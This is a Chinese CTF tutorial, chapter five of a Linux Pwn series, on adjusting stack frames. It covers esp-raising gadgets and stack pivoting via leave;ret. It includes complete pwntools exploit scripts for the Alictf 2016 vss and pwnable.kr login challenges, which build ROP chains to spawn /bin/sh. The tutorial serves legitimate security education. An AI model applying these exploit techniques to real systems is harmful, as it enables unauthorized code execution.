Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

课程回顾>>

Linux Pwn入门教程第一章:环境配置

Linux Pwn入门教程第二章:栈溢出基础

Linux Pwn入门教程第三章:ShellCode

Linux Pwn入门教程——ROP技术(上)

Linux Pwn入门教程——ROP技术(下)

教程中的题目和脚本若有使用不妥之处,欢迎各位大佬批评指正。

在存在栈溢出的程序中,有时候我们会碰到一些栈相关的问题,例如溢出的字节数太小,ASLR导致的栈地址不可预测等。针对这些问题,我们有时候需要通过gadgets调整栈帧以完成攻击。常用的思路包括加减esp值,利用部分溢出字节修改ebp值并进行stack pivot等。

今天i春秋与大家分享的是Linux Pwn入门教程第五章:调整栈帧的技巧,阅读用时约12分钟。

修改esp扩大栈空间

我们先来尝试一下修改esp扩大栈空间。打开例子~/Alictf 2016-vss/vss,我们发现这是一个64位的程序,且由于使用静态编译+strip命令剥离符号,整个程序看起来比较乱,我们先找到main函数:

IDA载入后窗口显示的是代码块start,这个结构是固定的,call的函数是__libc_start_main,上一行的offset则是main函数。进入main函数后,我们可以通过syscall的eax值,参数等确定几个函数的名字。

sub_4374E0使用了调用号是0x25的syscall,且F5的结果该函数接收一个参数,应该是alarm。

sub_408800字符串单参数,且参数被打印到屏幕上,可以猜测是puts。

sub_437EA0调用sub_437EBD,使用了0号syscall,且接收三个参数,推测为read。

分析后的main函数如下:

被命名为verify的函数内部太过复杂,我们先暂且放弃静态分析的尝试,通过向程序中输入大量字符串我们发现程序存在溢出。

将断点下在call read一行,我们跟踪一下输入的数据的走向。

步进verify函数,执行到call sub_400330一行和执行结果,推测出sub_400330是strncpy( )。

继续往下执行,发现有两个判断,判断输入头两个字母是否是py,若是则直接退出,否则进入一个循环,这个循环会以[rbp+rax+dest]里的值作为循环次数对从输入开始的每个位异或0x66。由于循环次数会被修改且变得过大,循环最后会因为试图访问没有标志位R的内存页而崩溃。

rbp+rax=0x7FFE6CD1A040,该地址所在内存页无法访问。

因此我们需要改变思路,尝试一下在输入的开头加上“py”,这回发现了一个数据可控的栈溢出。

通过观察数据我们很容易发现被修改的EIP是通过strncpy复制到输入前面的0x50个字节的最后8个。由于没有libc,one gadget RCE使不出来,且使用了strncpy,字符串里不能有\\x00,否则会被当做字符串截断从而无法复制满0x50字节制造可控溢出,这就意味着任何地址都不能被写在前0x48个字节中。在这种情况下我们就需要通过修改esp来完成漏洞利用。

首先,尽管我们有那么多的限制条件,但是在main函数中我们看到read函数的参数指明了长度是0x400。幸运的是,read函数可以读取“\\x00”。

这就意味着我们可以把ROP链放在0x50字节之后,然后通过增加esp的值把栈顶抬到ROP链上。我们搜索包含add esp的gadgets,搜索到了一些结果。

通过这个gadget,我们成功把esp的值增加到0x50之后。接下来我们就可以使用熟悉的ROP技术调用sys_read读取“/bin/sh\\x00”字符串,最后调用sys_execve了。构建ROP链和完整脚本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
payload = ""
payload += p64(0x6161616161617970) #头两位为py,过检测
payload += 'a'*0x40 #padding
payload += p64(0x46f205) #add esp, 0x58; ret
payload += 'a'*8 #padding
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_read设置参数
payload +=p64(0x8) #rdx = 8
payload += p64(0x6c7079) #rsi = 0x6c7079
payload += p64(0x401823) #pop rdi; ret 为sys_read设置参数
payload += p64(0x0) #rdi = 0
payload += p64(0x437ea9) #mov rax, 0; syscall 调用sys_read
payload += p64(0x46f208) #pop rax; ret
payload += p64(59) #rax = 0x3b
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_execve设置参数
payload += p64(0x0) #rdx = 0
payload += p64(0x0) #rsi = 0
payload += p64(0x401823) #pop rdi; ret 为sys_execve设置参数
payload += p64(0x6c7079) #rdi = 0x6c7079
payload += p64(0x437eae) #syscall
print io.recv()
io.send(payload)
sleep(0.1) #等待程序执行,防止出错
io.send('/bin/sh\\x00')
io.interactive()

栈帧劫持stack pivot

通过可以修改esp的gadget可以绕过一些限制,扩大可控数据的字节数,但是当我们需要一个完全可控的栈时这种小把戏就无能为力了。在系列的前几篇文章中我们提到过数次ALSR,即地址空间布局随机化。

这是一个系统级别的安全防御措施,无法通过修改编译参数进行控制,且目前大部分主流的操作系统均实现且默认开启ASLR。正如其名,在开启ASLR之前,一个进程中所有的地址都是确定的,不论重复启动多少次,进程中的堆和栈等的地址都是固定不变的。

这就意味着我们可以把需要用到的数据写在堆栈上,然后直接在脚本里硬编码这个地址完成攻击。例如,我们假设有一个没有开NX保护的,有栈溢出的程序运行在没有ASLR的系统上。由于没有ASLR,每次启动程序时栈地址都是0x7fff0000,那么我们直接写入shellcode并且利用栈溢出跳转到0x7fff0000就可以成功getshell。

而当ASLR开启后,每次启动程序时的栈和堆地址都是随机的,也就是说这次启动时是0x7fff0000,下回可能就是0x7ffe0120。这时候如果没有jmp esp一类的gadget,攻击就会失效,而stack pivot这种技术就是一个对抗ASLR的利器。

stack pivot之所以重要,是因为其利用到的gadget几乎不可能找不到。在函数建立栈帧时有两条指令push ebp; mov ebp, esp,而退出时同样需要消除这两条指令的影响,即leave(mov esp, ebp; pop ebp)。且leave一般紧跟着就是ret。因此,在存在栈溢出的程序中,只要我们能控制到栈中的ebp,我们就可以通过两次leave劫持栈。

第一次leave; ret,new esp为栈劫持的目标地址。可以看到执行到retn时,esp还在原来的栈上,ebp已经指向了新的栈顶。

第二次leave; ret 实际决定栈位置的寄存器esp已经被成功劫持到新的栈上,执行完gadget后栈顶会在new esp-4(64位是-8)的位置上。此时栈完全可控通过预先或者之后在new stack上布置数据可以轻松完成攻击。

我们来看一个实际的例子~/pwnable.kr-login/login,这个程序的逻辑很简单,且预留了一个system(“/bin/sh”)后门。

程序要求我们输入一个base64编码过的字符串,随后会进行解码并且复制到位于bss段的全局变量input中,最后使用auth函数进行验证,通过后进入带有后门的correct( )打开shell。

打开auth函数,我们发现这个auth的手段实际上是计算md5并进行比对,显然以我们的水平要在短时间里做到md5碰撞不现实。但万幸的是,这里的memcpy似乎会造成一个栈溢出。

调试发现不幸的是我们不能控制EIP,只能控制到EBP。这就需要用到stack pivot把对EBP的控制转化为对EIP的控制了。由于程序把解码后的输入复制到地址固定的.bss段上,且从auth到程序结束总共要经过auth和main两个函数的leave; retn,我们可以将栈劫持到保存有输入的.bss段上。毫无疑问,base64加密前的12个字节的最后4个留给.bss段上数据的首地址0x811eb40.根据之前的推演,执行到第二次retn时esp = new esp - 4,所以头4个字节应该是填充位,中间四个字节就是后门的地址。即输入布局如下:

构造脚本如下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote("172.17.0.2", 10001)
payload = "aaaa" #padding
payload += p32(0x08049284) #system("/bin/sh")地址,整个payload被复制到bss上,栈劫持后retn时栈顶在这里
payload += p32(0x0811eb40) #新的esp地址
io.sendline(b64encode(payload))
io.interactive()

需要注意的是,stack pivot是一个比较重要的技术。在接下来的SROP和ret2dl_resolve中我们还将利用到这个技术。

以上是今天的内容,大家看懂了吗?后面我们将持续更新Linux Pwn入门教程的相关章节,希望大家及时关注。

CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  3. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. CTF必备技能丨Linux Pwn入门教程——ROP技术(下)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. CTF必备技能丨Linux Pwn入门教程——ShellCode

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...

  8. CTF必备技能丨Linux Pwn入门教程——栈溢出基础

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>>Linux ...

  9. CTF必备技能丨Linux Pwn入门教程——环境配置

    说在前面 这是一套Linux Pwn入门教程系列,作者依据Atum师傅在i春秋上的Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 问:为 ...

随机推荐

  1. springboot中http 的get post put delete请求

    组合注解(RequestMapping的变形) @GetMapping = @RequestMapping(method = RequestMethod.GET)@PostMapping = @Req ...

  2. 免密码登录postgresql

    如果在当前shell 下,如果设定 export PGPASSWORD='postgres密码' 环境变量,可以不用每次执行sql 语句或者导入一个sql 文件都输入一次密码的麻烦了.

  3. 洛谷P2260 [清华集训2012]模积和(容斥+数论分块)

    题意 https://www.luogu.com.cn/problem/P2260 思路 具体思路见下图: 注意这个模数不是质数,不能用快速幂来求逆元,要用扩展gcd. 代码 #include< ...

  4. 3. Vue - 指令系统

    一.vue指令 (1) v-if // 条件判断 如果条件成立就在页面上生成一个标签并显示出来 (2) v-show //DOM中都存在只是显示与否 (3) v-for //注意 v-bind:key ...

  5. TestNG参数化测试之Excel读取数据

    1.新建Excel文档,准备好测试数据 在当前工程的resources目录下,新建文件名为testdata的Excel文档 打开Excel,将当前sheet重命名为calculator,构造num1. ...

  6. CF358D Dima and Hares

    CF358D Dima and Hares 洛谷评测传送门 题目描述 Dima liked the present he got from Inna very much. He liked the p ...

  7. java使用poi(XSSFWorkbook)读取excel(.xlsx)文件

    经过一番搜索发现,java操纵excel文件常用的有jxl和poi两种方式,孰好孰坏看自己需求而定.其中最主要的区别在于jxl不支持.xlsx,而poi支持.xlsx这里介绍的使用poi方式(XSSF ...

  8. MySQL实战45讲学习笔记:第三十六讲

    一.引子 今天是大年三十,在开始我们今天的学习之前,我要先和你道一声春节快乐! 在上一篇文章中,我们在优化 join 查询的时候使用到了临时表.当时,我们是这么用的: create temporary ...

  9. QPushButton 一组中凸显选中的一个,且只能选中一个。

    QButtonGroup * buttonGroup = new QButtonGroup(this); buttonGroup->setExclusive(true); ui->push ...

  10. 项目倒入maven 遇到的问题只有 main 了

    归根结底是倒入错了: (1)首先  view->Toolbar; (2) 点击 File==>project structure 然后:在 project settings中点击 modu ...